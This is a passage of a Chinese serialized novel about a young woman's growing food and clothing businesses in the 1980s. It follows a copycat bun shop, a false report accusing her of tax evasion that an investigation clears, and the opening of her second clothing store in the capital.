赵桂花跟李娜兄妹，这两天几乎快把深城卖东西的地方都逛透了，买了一堆流行货，还跟郭广盛贸易公司的人混了个熟。林珊都叫不出名字的人，直说要请赵桂花他们吃饭，还让他们赶快在粤城和深城开铺子。 桂花女士得意地说：“小周是咱北方人，我给了他们几瓶咱家的酱，一个个都说好吃！你想啊，酱都能做这么好，铺子里先做的包子和熟肉肯定更好吃啊！” 林珊笑着给她比赞，佩服她自来熟的本事，更佩服她天然的销售能力。 在深城的最后一晚，郭有财做东，请大家到国贸旋转餐厅吃饭。这地方是深城目前最厉害的餐厅之一，也是最早的空中食府。 郭有财定的是景观位，站在49楼的位置可以看见深城的整体面貌，虽然跟后世的繁华璀璨没得比，但也足以震撼人心。尤其对一直以为深城不怎么厉害的赵桂花和李娜兄妹来说，简直是目瞪口呆。 三人这几天逛的都是些卖水货的地方，繁华的地段虽然也会路过一些，但是远没有深处其中令人震撼。 “那边就是港城。”郭广盛指给林珊他们看。 赵桂花在新闻和电影里见过港城，知道那地方可繁华了，也知道自家的服装基本都来自那儿，猛地一听说能看见那地方，她立刻瞪大眼睛，顺着郭广盛的手指看了过去。 可惜这会儿天已经快黑了，除了一片绿油油的荒山什么也没看见。 郭广盛笑道：“其实白天看也全是山和荒地，但不知道为啥，就是觉得不一样。” 赵桂花不懂有啥不一样的，林珊笑了，可能是不能随便出入的禁忌带来的不一样感吧，也有可能是对美好富裕生活的向往，带来的那种憧憬，导致感觉发生了变化。 吃了一顿地道的粤菜后，次日一早原班人马原路返回粤城。 由于车票是下午的，中午在郭广发家吃了顿饭，又跟阿英交代了一下工作后，林珊一行人就踏上了回安河的火车。 这次粤省之行可谓是满载而归。广告搞定了，房地产公司上轨道了，服装厂的设备靠好了，就连寻呼机也搞来了！ 赵桂花买了几个电子手表，新型手电筒，还买了个电饭锅。 林珊问她：“你又不爱吃大米，买这个干什么？” 赵桂花嫌她不懂，“谁说只能蒸大米的？啥都能用，烧水，煮稀饭，热个馒头啥的，快得很。夏天也不像煤炉似的那么热。多划算！” 林珊想想也是，“还是我妈会买。” 赵桂花：“那还用说。” 李娜这回居然也买了不少东西，不但跟着赵桂花买了个电饭锅，还买了录音机和一大堆歌曲磁带，电子表也来了一块儿。李国超就比较实在了，他直接买了台彩色电视机。 来接他们的赵福都愣了，李国超哈哈笑：“没办法，人家深城卖得比咱这儿便宜。” 赵福一问价，居然比自家的便宜这么多，顿时就觉得痛失巨款。 “别难过了，送你个寻呼机。”林珊把寻呼机递过去，然后告诉给他怎么用。这年头办呼机号要交入网费和服务费，拿着证件去一趟营业厅就能搞定。 林珊自己的那个要回京市在办，就不跟他一块儿了。 食品厂这段时间运营得非常顺利，赵福最近补货、谈事儿忙得不可开交，接到林珊没时间让她停留，就拉着人一块儿去厂里视察了。 路上，赵福跟林珊说个了事儿。 第140章 第140章 检举揭发 由于包子铺生意很红火, “林爱国”在整个汉北省，几乎成了无人不知的包子熟肉品牌。前两天临市的加盟商给赵福打来了电话，说他发现了一家假冒的“林爱国大肉包”。 门口的招牌一模一样, 从字体到颜色，只除了把林爱国的头像换成了他们自己的, 装修摆设也极为相似，同样既卖包子熟肉, 又卖面和馄饨的，价格也定得半分不差。 赵福叹气：“你说咱怎么办？” 林珊有点儿无语, 其实自从包子铺起来之后, 并不是没遇到过模仿包子铺的人，只是还从来没见过这种全套照搬的, 人家其他人最多只是学个同款包子馅儿, 或者摆个同样的熟肉和素卤摊儿, 再或者就是按照她店里的摆设来装修。 这种全部一模一样的照抄，她还真是第一次见。 即使林珊已经经历过后世各种山寨现象的洗礼了, 还是对这人挺无语的。哪怕换个名字也行啊, 这不是上赶着找麻烦呢。 “你让张学强去找一下当地工商局的人, 举报一下试试。要是对方门儿硬，咱再用硬的方法。”这年头工商局得管辖权很大，这一类的问题基本都找他们。一般情况下找找人，问题都能解决。 “行。”赵福点了点头，再次对这个事儿感到不理解, “我都不知道这些人咋想的, 你说你有这本事，放正道儿上不好吗？” 林珊笑了，这世上多的是为了钱要人命的事儿, 抄袭侵权已经算是比较文明的了。自家也不是没遇到过被人持械劫道儿的事。 食品厂内，忙忙碌碌的。 林珊跟赵福穿上套卫生服，洗了手才进入生产车间视察。目前酱料车间的设备和人员配置，是可以满足囤货时期的产量要求的。但是等广告上来之后，想要一直稳定出这么多货，这几台机器肯定不够用。 赵福之前就已经扩招了一批人，不久就能正式上岗，设备林珊也已经打过电话给严建设，新订的三套机器，最快下礼拜就能到位。 赵福之前还觉得林珊把车间盖得太大了，现在再看，得亏盖得够大，不然进这么些设备往哪儿放啊。 林珊跟薛凤琴聊了两句，让她务必把好质检这关，但凡有一丁点不合格的地方，一律不能入库。 “一定，你放心。”薛凤琴知道自己这项工作的重要性，就是哪儿出错都不能在她这儿出错。 林珊拍了拍她的肩膀，跟所有人道了声辛苦，“九月份大家就能在电视上看见咱们的辣椒酱了，所以为了到时候慕名而来的顾客，请各位一定要严格把好自己那关，作出做好吃的辣椒酱来！” “好！一定！” “没问题！” “咱几号上？我一定守在电视前头！” 林珊把具体日期一说，大家伙各个兴奋得不行。这年头能买得起电视机已经很了不起了，更何况是上电视！自家的产品能在电视上出现，别说他们这些做主管的，就是工人们也都觉得无比自豪！ 车队那块儿赵福准备再找四名司机，这样两辆车能分开日夜班儿，增加运输量。货运那边他也基本都谈妥了，基本上就等着九月份大干一场了。 林珊再次感谢了大家一番后，去了趟公司新址的建筑工地。 这块儿是公司新招的钱伟在负责看着。钱伟是王军局里的那小伙儿钱超的亲哥哥。贺正岩之前救她们被刺住院的时候，钱超照顾过他几天。 钱伟跟钱超一样积极热情，却没他弟那么愣，比他弟会来事儿多了。一见林珊来视察，立刻小跑着过来汇报情况。 目前工地一切顺利，建材那块儿也都是熟门熟路的，随时用随时送过来，不用全部堆在院子里。不出意外的话，十二月左右就能完工。 林珊让李国超搬了些冰棍发给大家解暑后，回公司处理文件方面的事了。傍晚林红带着小昊昊回娘家住，林珊正好跟小侄子愉快的玩耍了一会儿。 小昊昊已经快五个月了，白白胖胖的，性格还好，一逗就笑，每天除了吃睡之外，就是 翻身扑腾着玩儿。 还有几天王军分的房子就要正式下来了，林红开心得跟大家商量家里都怎么布置比较好。 他们新房子的格局挺好的，两室一厅，卧室跟客厅都不小，只是这房子除了要住王军一家三口，还有王大娘和一个帮忙带孩子的婶子。 虽然婶子只是暂时来帮忙，等王大娘今年年底退休之后就回去了，但是目前家里人确实不少。他们夫妻俩不想王大娘一个人孤零零的住在老房子，毕竟王家三兄弟里，目前在安河的就只有王军。他大哥是军人，一家人常年驻扎在外。二哥去年也调到了汉州。 所以两室一厅一下要住五口人，林红就想着怎么安排一下比较好。王军本来想的是买两张床，让他老娘跟婶子住一个屋。林红毕竟家里开了这么多铺子，见装修见多了，就觉得还是改一下比较好。 林珊赞同林珊的想法，两间大卧室改成三间，这样大家都住得舒服。她把深城房子设计的格局简单画了一下。 林红连连叫好，“对对对，我就是这个意思。你说请人做一组电视柜，放这儿好不好？” 林珊跟赵桂花帮她参考着屋子怎么弄，家具怎么摆设，等王军下班过来的时候，林红非常有成就感地拿给他看。 王军一看这连冰箱都想好放哪儿了，直接笑着说：“都听你的，你说怎么弄咱就怎么弄。” 林红一家人幸福地畅想着美好的未来，林珊也到了该回去上课的时间了。 次日一早，吃了顿赵桂花的爱心早餐之后，林珊开着212返京。 贺正岩最近一直驻扎在河西省那边的部队，每天忙得连打电话的时候都很少，更别提见面了。林珊把从安河和深城带回来的大包小包分给姜春荣，两人简单聊了一会儿就回学校了。 清大放暑假的时间在六月下旬，所以她一回来差不多就该准备考试了。虽然专业课的内容没问题，但别的科目还是需要努力一下的。 因为林珊两次获得了计算机比赛的第一名，系里的老师找她谈话，大三上学期的海外交流名额，学校决定给她了。 林珊如实表达了自己的想法，她真得没时间，也不想去交流学习，希望系里把名额给其他同学。 系里的老师们轮番上阵跟她谈话，有一位都生气了，直说她不要做井底之蛙，应该多去看看外面的世界！何耐林珊是真的志不在此，一番劝说下来的结果就是老师们只能把名额给了其他同学。 这次一共三个名额，林珊让出来一个之后，顺延之下，张丽丽就有了资格。得到这个消息之后，她是既开心兴奋又有点别扭。想了两天，还是在下课的时候拦住了林兰。 “谢谢。” 林珊实话实说：“不用谢我，成绩是你自己考的。” 张丽丽见她这么坦荡，顿时觉得自己心眼有点小了，别扭少了一些，话都说得真情实感了，“话是这么说，但你要不放弃这个名额，肯定就没我的事儿了。所以还是要感谢你。” 林珊点了下头，明显感觉到这个张丽丽成熟多了。 张丽丽还想再说点儿什么，抬眼一见徐青和陈小娟正在朝这边走过来，话瞬间憋回肚子匆匆走了。 林珊这边进入了考试周。今年就要大学毕业，面临分配的林兰，却彻底暴走了。 在没跟贺启明分手之前，她计划继续读研究生，后来被那么不体面地甩了之后，她对于任何学校都没了兴趣，尤其是自己这间，更是一分一秒都待不下去了，只想赶紧参加工作。 以她的学校和成绩，绝对能分配到京市的检察院或法院，可系里却突然告诉她，她想去单位都没戏，只能被分配到京郊镇上的计生办。 林兰一开始还不是很明白，为什么她一个学法律的优等生，要被分配到那么远的郊区计生办，其他不如她的同学却能如愿进入检察院法院！ 哭诉了半天，一个一直对她很好的教授，这才稍微透露出一点消息，说是上面放过话了，要让她吃点儿苦，去镇上的计生办下基层查查人。这应该是所有分批单位里，最能锻炼人的了。 林兰跌坐在办公室里，哭得上气不接下气，顿时明白这一切都是贺启明家人搞得破坏！分手这么久了，还是他甩的她！让她在学校丢人现眼还不算，居然还留了这么狠的一手！这根本就是要把她逼上绝路啊！ 林兰恶狠狠地抹了把脸上的泪，用最快的速度从办公室跑回宿舍后，开始疯狂写信。 好，不是不让她活吗？那就等着瞧，她就是豁出这条命，也不会放过贺启明那一家子！她就不信这个世道上还没有天理了！ 一周后，林珊顺利考完了试，开始准备给服装店开分店的事宜。纪检部门却收到了一封厚厚的举报信。 知名大学法律系毕业生林兰，实名举报检察单位贺启明强|奸她，并让其父母利用职权私阻碍她毕业分配单位。 同时她还要检举贺启明父亲贺振华利用职务之便，为其大儿子贺正岩的对象——被全国报封为“新时代好青年”代表的林珊，谋取私利，纵容其偷税漏税非法经营！ 140-160 第141章 第141章 配合调查 林珊得知自己被举报的时候, 正在外头寻觅新店面。 贺正岩打了她的呼机，林珊回过去之后，他在电话里简单说明了一下情况。 林珊有些懵, 两辈子第一次被人举报，还是被这么大的单位处理, 一时间还真不知道该干什么，“那我该做什么？” 贺正岩：“你先回科研所的房子, 我马上就往回赶，差不到四点钟能到。” “好, 你路上注意安全。”林珊听话地回到科研所家属院, 打了个电话让李娜准备好账本和纳税凭证，京市这边的服装店和包子铺, 所有的账本和纳税的收据都在她自己这儿。 既然被举报了, 提前准备好资料配合人家调查也是应该的。 林珊没想到贺启明跟林兰的事儿能闹这么大。之前贺正岩提过一嘴他们分手了, 林珊以为事情平息了，没想到这都过多久了, 竟然又闹起来了。 林兰一封举报信告了贺启明, 贺振华和张秀英不说, 还要把她给拉进去，实属不忘初心啊。林珊不知道她举报其他人的事是真是假，但是自己这儿确是实打实的诬告。 她从做生意的第一天起，就都是按照规矩在营业的。很多时候有些可办可不办的证，她都会提前都弄好。 其实不夸张的说, 这个年头做买卖的, 不偷税漏税的是极少数。这个时候的工商和税收制度还不健全，人们基本没什么纳税意识。毕竟早几年连做点儿小买卖都还违法呢，一切才刚开始发展, 相配套的东西都得慢慢来。 林兰估计是算准了她也会这样经营，所以才这么举报的吧。 时代在进步，法律法规在完善，林珊公司的所有手续都是与时俱进办理的。她的食品和服装公司不但在安河是工商界的标兵，同样还是积极纳税的大户，公司大厅里现在还贴着两个部门颁发的奖状。 京市这边就更不用说了，要什么证有什么证，税都是她主动去交的。真金不怕火炼，想查什么都行。 四点多钟的时候，贺正岩风尘仆仆地回来了，林珊一瞧他瘦这么多，顿时心疼起来，“不是说那边饭菜挺好的，怎么瘦成这样？” 贺正岩没想到她一见到自己不是问被举报的事儿，而是抱着他担心他瘦了，忍 不住亲了亲她，“吃的是挺好，就是炼得多。就这一阵儿比较累，回来就好了。” 林珊点点头，“那你饿不饿？先吃点儿东西吧。” 贺正岩不饿，把她拉到沙发上说了说事情的来龙去脉。 贺启明现在已经被带走了，贺振华那儿一切正常，不过组织上已经注意到了这个件事，就不得不去调查一下情况。 因为还涉及到林珊，贺振华就希望贺正岩把林珊带到家里问问情况。 俩人没多做停留就往贺家赶了，路上，林珊好奇道：“一封检举信有这么大的威力吗？” 贺正岩：“看怎么告了。”不管级别多高，谁还没几个观念不同的同事呢。到对方的单位门口一哭二闹三上吊，引起一堆人围观，这事想低调处理都难。 “你放心，没有的事儿说一万遍谎也还是没有，就是过程有点儿烦人。” 林珊点点头，“我行得端做得正，才不怕被查。不过，你弟弟他……” 贺正岩不知道，“就算有那事儿，也没那么容易判成犯罪。现在都不怎么抓流氓罪了。他也算幸运，赶上好时候了。” 林珊明白，这要是换作以前，就算什么事儿都没有，贺启明也得掉好几层皮。“不过林兰突然来这么一出，是不是她毕业分配的事儿，真被动手脚了？” 贺正岩虽然不知道具体情形，但他也觉得林兰分配的事儿八成是真的，“我爸不会做这种事。” 林珊知道他的言下之意是什么。张秀英可能是觉得她儿子被骗，想惩罚一下林兰，所以搞了这么一出。没想到碰到个硬茬，直接来个鱼死网破。 想到这儿，林珊说不出心里什么滋味。不管她心里多看不上林兰，张秀英这种高位者随便一句话就要毁人前程的做法，同样让人感到不耻。 这难道就是所谓的恶人自有恶人磨？只是她们俩磨就磨吧，还不忘把自己也捎上。真是够烦人的。 林珊本来以为就是贺振华想见她一面，了解一下她公司的情况，没想到居然还有调查单位的人。 人家很客气，还安慰她：“林珊同学你别害怕，我们只是想找你了解一下情况。” 林珊乖巧地点点头，率先把京市两个铺子的账本和纳税证明都拿出来了，“这是京市的情况，安河那边您派人去查一下就知道了，我从第一天做生意起，就没有做过任何对不起国家的事情。我明白合法经营和纳税的重要性，绝对不会犯那种错误。更加不存在贺叔叔包庇我，用职位为我谋私的情况。我身边的所有人，包含我母亲，根本不知道我对象——就是正岩的父亲是做什么的。” 调查人员翻看着账本和□□，听着林珊轻声细语却坚定无比地说着这些话，心里的天平偏得就更厉害了。 本来刚才询问完领导情况之后，他们对这个事情就有了大致的了解，儿子闹了桃色新闻，连累老子的事儿他们也不是没见过，倒是头一次见还把人家未过门的小姑娘牵扯进来的。 真要以权谋私，谋自家亲人不好吗，何必谋一个还没过门的小姑娘。果然，一见面，才刚聊几句，大家就确定了心里的猜想。不过猜想归猜想，该调查的他们还是会去调查的。 调查组又问了林珊安河公司的一些问题后，就表示询问结束了。 等人走后，贺振华愧疚对林珊说：“启明的事儿连累你了。” 林珊笑着摇头，“不算连累，林兰本来就非常恨我们一家子，您应该是被我连累了。” 贺振华笑了，赞赏地看着林珊，这小丫头非常优秀，不卑不亢，行事作风柔中带刚，又非常有原则。正岩没有看错人！ “留下来吃饭吧，我让厨房做点儿你们爱吃的。”贺振华开口。 贺正岩跟林珊就留了下来，家里没有张秀英和贺启明的身影，林珊不方便问，贺正岩则是没问。倒是饭桌上，贺振华自己说了一下。 贺启明涉嫌犯罪，目前被关着审讯中。张秀英还在单位没回来，说是纪检部门的同志还在问她话。 像这种绕过领导直接去找领导夫人的行为，很明显是初步了解到对方确实存在违规行为之后的操作。 贺振华没多说什么，贺正岩没搭腔，林珊就更不好开口了。一顿饭三人吃得像是什么事儿都发生过似的，还谈起了林珊家的辣椒酱。 贺振华挺喜欢吃的，说够味儿，配馒头吃最合适。 林珊当即表示，以后常年无限量供应。 回去的路上，林珊问贺正岩：“要是张阿姨的事调查出来是真的，她会怎么样？” 贺正岩：“不怎么样，最多背个批评。” 林珊懂了，“林兰闹了半天，等于蚍蜉撼树。” 贺正岩亲了她手背一口。 林珊好奇：“那他们会不会影响到叔叔？” 贺正岩摇头，贺振华这一路走来也不是一帆风顺的，再大的风浪都见过，这点儿事真不算什么。 他们这边没事，贺启明那头就惨了。 他气得不吃不喝，任凭人家办案人员怎么劝都不听，他完全想不明白林兰怎么能这么坏！竟然污蔑他强|奸！真是不知羞耻！这种事怎么能随便从一个姑娘家的嘴里说出来的！ “我要告她污蔑！”配合完调查后，贺启明一直在强调这句话。 公安同志被他嚷嚷得都有点儿头疼了。案件已经他们已经都询问完了，双方现在是各执一词。 小姑娘那边哭哭啼啼的，模样可怜得很。 唯一的方法就是去医院查查，但是小姑娘说，早发生的事儿，现在查也查不出什么了。她本来是打算默默吃下这个哑巴亏的，可偏偏贺家人不放过她，连她毕业分配的事都要搞破坏，小姑娘实在没法儿过了，这才决定把冤屈都说出来。 但是在大领导儿子那儿，这事儿就又成了另外一个故事。 原来那小丫头才不是善茬，为攀高枝各种圈套设计小伙子，嘴里没说过一句实话，品行还不端，被贺家发现后，俩人已经很平分手了，没想到过了这么久她又来了这一出。 大领导儿子还不停地高呼：“我根本没做过那种事，别脏了我！” 其实公安同志从对两人的询问和态度中，已经基本分析出事情的大致面貌了。只不过事件涉及到大领导的儿子，这才需要格外谨慎。 现在那小姑娘已经被带去检查了，不管她愿不愿去，这事儿必须按规矩来。诬告人是要负责任的，同样的，就算是搞对象期间的自愿行为，小伙子也应该给人家一个交代。 跟贺启明的义愤填膺不同，张秀英则一副老神在在的模样，她把事情的原委一说，质问起调查人员：“换成是你们的儿子闺女被这么欺负，你们能无动于衷？我哪儿阻碍她分配了？我没有举报到学校开除她就已经很仁慈了，只让她去计生办锻炼一下，你们至于扣我这么大的帽子吗？居然还上单位来找我谈话！” 调查人员理解她的心情，但还是实话实说：“不管对方品性多坏，您确实是违反了规定，我们也是在公事公办。” 张秀英才不屑他这个“公事公办”，“随便你们！” 第142章 第142章 第二店启动 三天后, 调查组基本把整件事情都弄清楚了。 贺振华本人什么事儿都没有，林珊不仅没有非法经营偷税漏税，而且还是安河当地的优秀个体户标兵, 办在大河村的食品厂，更是带动了当地发展, 为社会做出了卓越贡献。 张秀英的问题也已经查清了，违反规定是肯定的, 但毕竟对方有错在先，也属情有可原, 本来只要她认个错, 这个事儿也就过去了。现在偏偏卡在了张秀英的态度上，她拒不认错。 调查组的头儿找自己的领导说明了一下情况, 领导又找了一趟贺振华, 那意思很明显, 你这媳妇儿让我们都很难做。 贺振华也没生气，只对张秀英说了一句话：“如果你还是认识不到错误, 那就离婚。” 张秀英震惊在原地, 手里的杯子坠地, 水撒了一身。 次日，她主动找到调查组承认了错误，说之前是情绪上头，现在想明白了，她除了是一位母亲, 更是一名干部, 不能忘了自己身上背负的使命。 至于贺启明，那是公安和他自己单位那边的事情，不归调查组的人管。 公安那边在检查完林兰的身体之后, 基本就已经证明贺启明的清白了，现在的问题是贺启明要反告对方诬陷。 林兰难以置信，瞬间大哭：“不可能！他就是做了！他屁股上有颗痣！这个地方有个疤痕！他要是没有强来，我是怎么可能知道的？！” 医生见她这模样不像是作伪，小声跟公安同志说：“难道是她以为发生关系了，但其实没有发生的很彻底？” 公安同志觉得有点道理，贺启明却气得差点儿骂人，“我跟她去游过泳！她当然知道了我身上有疤！屁股上有痣了！我不是那种没结婚就犯错误的人！你们能不能聪明点儿？！” 另一个公安同志看不惯他的脾气，却还是苦口婆心地告诉他：“就算你说的都是真的，你也告不了林兰诬陷。你们俩是男女朋友，亲密动作肯定有过吧，她误以为那是强|奸，即便证明了不是，也不算诬告。真追究起来她一口咬定没搞懂妇科方面的知识，你也没办法。你是学法律的，应该明白吧？” 贺启明怎么不明白，他就是气不过，恨不得吃了林兰！ 公安同志靠近他一点儿，低声说：“你还要考虑到这件事对你父亲的影响。说难听点，现在是光脚的不怕穿鞋的。退一步吧，得饶人处且饶人。让这事儿尽快平静下来比较好。” 贺启明做了几个大喘气，郁闷又憋屈地同意了这个处理方案。 他无罪释放，林兰那边不但什么事儿都没有，分配的问题也解决了，法院和检察院随便她选，她毫不犹豫地选择跟贺启明一个单位。 既然不放过她，那就天天见好了。 林珊听到这个处理结果后，都不知道该怎么回应了。 贺正岩在电话那头等着她说话，结果沉默半天，“没话想说？” 林珊：“我给你带的酱够吃吗？不够我再给你寄点儿。” 贺正岩笑道：“够了，够我吃到回京了。” “那就好，多吃点儿，照顾好自己的身体。”林珊叮嘱完，把这两天找店面的情况跟他说了一下，“位置是真好，就是要价太贵了，我得好好算算值不值。” 贺正岩一听她说那位置，就想起个人，“最低多少你能接受？” “一万五吧。如果他们愿意签十年的话，那我也能接受一万八。”林珊找到了梦想中的铺子，两层小楼，合在一起有两百四十多平方，地点还位于最繁华的东城区商业街。 贺正岩心里有数了，“我帮你找找人。” “麻烦就算了。”她不想贺正岩去求人，再加上林兰举报的事儿，林珊就更觉得以后生意上的事情，一定不能跟贺家粘上关系。免得将来被什么人下圈套，现在只是林兰的小伎俩，要是以后真遇到什么高端局，那就麻烦了。 贺正岩知道她在想什么，“放心，卢学军他小叔管那一片的商铺，都不是外人，一句话的事儿。” “哦。”是他发小儿的亲叔那还行，林珊瞬间软了语气，“那就谢谢你啦，贺大哥。” 贺正岩乐了，她已经很久都不叫他“贺大哥”了，平时要不直接说话，要不就是叫他名字，虽然“正岩”从她嘴里叫出来也非常悦耳，但是这声“贺大哥”就像是回到了以前刚认识她的时候，还挺新鲜。 这会儿要是在家，肯定抱着她好好亲一顿。 次日礼拜天，林珊视察完服装店后，去找姜春荣了。两人约好一块儿吃中午饭，姜春荣难得休息，非要带林珊去吃苏联菜。 京市著名的老莫餐厅，一直是人们改善生活的好地方。姜春荣喜欢这里的招牌菜罐焖牛肉，奶油烤鱼也不错，鹅肝是必点。这地方贺正岩以前带她来过几次，母子俩点的菜几乎都一样。 林珊指着牛肉说：“正岩最喜欢吃这个。” 姜春荣笑了，“他只要是肉都喜欢吃。” 林珊乐道：“确实，您爱吃的素卤，他每回吃都要纳闷为什么您会觉得那东西比肉好吃。” “这小子。”姜春荣笑得一脸满足，跟着谈起贺正岩小时候的各种调皮捣蛋，“……我不打孩子，但是他爸跟老爷子打，这小子从来不老老实实挨着，到处跑着躲，最长在卢家躲了一天一夜。” 林珊好奇：“为什么打他啊？” “瞎跑，到处打架，要不就是把谁家的东西给搞坏了。”姜春荣笑着摇头，感慨道：“还是小时候有意思，你再看看现在，往那儿一杵，你不开口他就一直没话。姗姗……”她招招手，小声问：“跟他谈对象无聊不？” 林珊笑着摇头，“不无聊。” 姜春荣见她笑得这么甜，顿时乐开了花，孩子们感情好，珊珊还能时常陪她吃吃饭聊聊天，还能有比这更好的日子吗？ “对了，听正岩说，这次他爸家的事儿，把你也牵扯进去了。” 林珊轻声解释了一下，“我跟贺启明之前的对象是亲戚，我们两家有仇，她就是单纯报复我。不过现在都没事了。” 姜春荣点点头，叹了口气。 林珊看着姜春荣，突然想起贺正岩之前说过，他爸最喜欢的仍然是他妈。这其实很好理解，姜阿姨就是这个年纪看起来仍然很有韵味，更别提年轻的时候了。 贺正岩整个人猛得一看很像他父亲，但细瞧五官的话，眉眼跟嘴巴，都有他母亲的影子。可以说非常会长，完全结合了他父母的优点。 林珊跟姜春荣相处也有一阵子了，能感觉得出来她是个很快乐的人，除了有自己的事业，生活中还有很多爱好，比如打各种球，完全不像这个年龄段的人。 姜春荣告诉她：“你必须持续锻炼，才能有个好体魄，干更多的事儿。”为此，还经常动不动就带着林珊一块儿去锻炼身体。 林珊很喜欢姜春荣，不管是作为他儿子的对象，还是作为一个普通女性，都很喜欢她、欣赏她。 “阿姨，您觉得什么能导致一段关系结束？” 姜春荣一愣，随即笑道：“那原因可就太多了，你应该问怎么才能维持感情。” 林珊立刻问：“那怎么才能维持感情？” 姜春荣想了想，“心里有对方，多为对方着想就够了，不复杂。正岩你放心，他是个很愿意为人付出的人，不会什么事儿都觉得自己对。他虽然看着硬邦邦的，实际比谁都心软，对自己人是非常爱护的。即使将来你们有什么矛盾，他也会首先反思是不是他自己做得不对。放心吧，我儿子跟他爸不一样。” 她最后一句说得声音很小，还冲林珊眨了下眼睛。 林珊不好意思地笑了，“咱们今天都多吃点儿。” 傍晚的时候，贺正岩呼她，电话里说让她明天直接去找梁小慧就行了，卢学军已经把事儿都安排好了，他二叔会在单位等她们。 林珊没想到他这么忙，还这么快就帮自己牵好了线，心里暖得都不知道该说什么了，再加上中午吃饭时候姜春荣形容他那些的话，千言万语只化成了一句：“想你了。” 贺正岩笑着说：“我下个月能回去两天。” 林珊“嗯”了一声，再次叮嘱他照顾好自己，多吃点儿饭。 次日一早，林珊接上梁小慧后，一块儿去找卢二叔。 路上，梁小慧一直在表达惊讶：“你现在这个服装店才开多久啊，昨晚上卢学军说了之后我都惊呆了，你这速度也太快了！妹妹，你可太厉害了！ ” 林珊谦虚了两句，表示这是以前就规划好的。 梁小慧难以置信，“说真的，要不是我亲眼看见的，打死我都不会相信有人能年纪轻轻干这么大的买卖！” 她又惊叹了一会儿，好奇林珊怎么安排得过来这么多人手的。 其实林珊从上个礼拜考完试，就已经让店长魏雪琴再招店长和售货员了。包括安河那边的服装店长杨艳，现在也被调到了公司，店长也已经另 外选了人。 下一步服装生意要进入快速发展时期，需要大量能干的人才。京市这边由魏雪琴为主力军，闫超的堂妹闫青辅助。安河及周边城市的服装生意，将来会由杨艳领军。 目前团队正在筹建中，一切都有待完善。 第143章 第143章 双喜临门 林珊和梁小慧到的时候, 卢二叔正在训人，下一秒看见她俩，立刻就变成了慈祥的长辈, 直冲俩人招手，让她们赶紧过来。 卢二叔长得跟卢学军就像一个模子活脱下来似的, 梁小慧见林珊一脸震惊，偷偷凑过来跟她说：“我公公也长这样, 二叔的两个儿子跟学军像双胞胎一样，神奇不？” 林珊笑着点点头, 卢家这基因遗传显现得非常厉害啊。 卢二叔无比亲切, 先是问了俩人吃没吃早饭，跟着还亲自倒起了茶水。他知道林珊是贺正岩的对象, 所以格外和蔼, 一直笑眯眯的, 说话声音都轻了很多。 “我已经跟刘老板打过电话了，他待会儿就来, 到时候来了你们再谈谈, 问题应该不大。1万5也不少了, 他太贪心了。” 林珊感激不尽，“谢谢二叔！” 卢二叔笑着摆摆手，“咱都是自己人，不用客气，你那店里的包子我可没少吃, 尤其是小慧最近拿回来的辣椒酱, 那个味道啊，真是没的说！” 林珊立刻笑着表示包子、辣椒酱都管够。 卢二叔哈哈笑，几人简单唠了几句家常, 刘老板来了。 刘老板跟卢二叔很熟，两人打交道也好几年了，见到卢二叔对林珊的态度后，他就知道没办法硬要价了。不过在每月1万5五年租约，和1万8十年租约之间，他想都没想就选择了前者。 林珊虽然想签十年，但这事儿强求不来。刘老板倒是提出如果十年约的话，要一次性付清房租。她可没有一下子就拿出两百多万现钱的实力，所以合约最终以每月1万5五年期限成交。 签完合约后，正好是午饭点儿，林珊想做东请大家吃顿饭，结果卢二叔非说他请，哪有让小辈请客的道理。于是林珊签了合约，白吃了顿大餐，还跟刘老板相谈甚欢。 门店的事情搞定后，就要开始准备装修事宜了。这次少了闫超帮忙，换上他二弟闫强了，再加上魏雪琴和闫青，启动速度比上次要快多了。 装修还是交给王大军的团队，家具定制仍然是她上次发现的宝藏大爷吕大爷，闫强负责监工和买各种材料，招工和培训交给魏雪琴和闫青，林珊总统筹。至于装修风格，整体上跟西城的店保持一致就好。 由于这次的店铺面积大，而且又是两层楼，所以展示空间自然就更多了，其他各个功能分区就可以做得更大更气派。 林珊一边跟王大军商量着方案，一边也没忘了跑工商局。托李倩爸爸牵线的福，各种证件办的都非常顺利。 阿英那边，林珊也已经让她大量准备新货了，不过为了丰富店面和采购一些装饰品，她还是要亲自去一趟粤城。只是这回就不带李娜了，带上负责安河服装公司的杨艳，还有李国超就行了。 赵桂花去见过一次世面后，就不想再去了，再加上林红那边又在弄房子，她不放心。 林珊把京市的工作暂时安排好，又跟贺正岩说了一声后，就迅速南下了。这次安排的时间短，所以一到粤城她就马不停蹄地开始去看阿英约好的货。 合作了这么久，阿英已经非常清楚自家店的风格，以及林珊想要进什么样的衣服了。林珊对她选的这些衣服都非常满意，同时又增加了一些长袖连衣裙，以及几十条牛仔裤和牛仔裙，太阳帽也补了一批。 人家老板搞来的五十副墨镜，也全被她包圆了。 现在是七月上旬，一个半月的装修工期结束后，差不多八月底九月初就能开张了。今年热得很，趁着秋老虎还可以再卖一波夏装。 这次来，林珊淘东西就知道要去旧货市场了。逛了一天，买的三人都没手拿了才罢休。他们用两天时间就搞定了一切，临走前，林珊又去看了下服装厂的进展，跟阿英聊了下设备培训的事情。 服装厂十月底就能提前建成，到时候设备会进厂，培训方面的事，阿英已经跟卖方说好了，到时候花点儿钱请个老师过来教他们就行。 至于员工方面，林珊让陈广志和阿英按照食品厂的招工方式，考试择优录取。管理方面的规章制度，则要根据陈广志和阿英考察别人厂得来的经验，慢慢制定出来。这些还不急，电话里就能商量好。 安排妥当粤城的事情后，林珊满载而归。在安河住了一晚，她就回京忙活了。 店大投资大，操心的地方也多，即使有过一些经验了，也还是容不得半点疏忽大意。 林珊倒是不担心这个店的生意，毕竟西城店每天都排队限流，经过春晚洗礼和明星带货之后，“红珊服装店”已经成为了京市时下最为火热的高端服装店。 春晚后西城服装店的收入，甚至比倒卖债券挣得都多。这也是她急着开第二家店的原因。明显的过载，让店员疲惫不说，也很容易给顾客带来不好的体验。开家更大的店，实在是迫在眉睫。 林珊之前有想过要不要让东城大店走更加高端一点的路线，但思考过后，觉得还是不太妥当。如果同一个城市的店，有明显的高低端之分，那势必会影响稍微低端一点的店的生意。久而久之，品牌会给人一种很混乱的印象，从而引起人们对品质和价值的怀疑，高端店的生意也会跟着慢慢回落。 所以所有店维持统一的水准很重要，即使是安河的店，也必须与时俱进，京市这边有的，那边都有。要给客人营造一种这个品牌很严谨、很专业的感觉。 魏雪琴把招好的售货员给林珊看过之后，就安排她们去西城店里培训了。装修队和家具队每天都在赶工，就这样各路人马，齐心合力地奋战了一个半月后，东城服装店终于完成了所有准备工作。 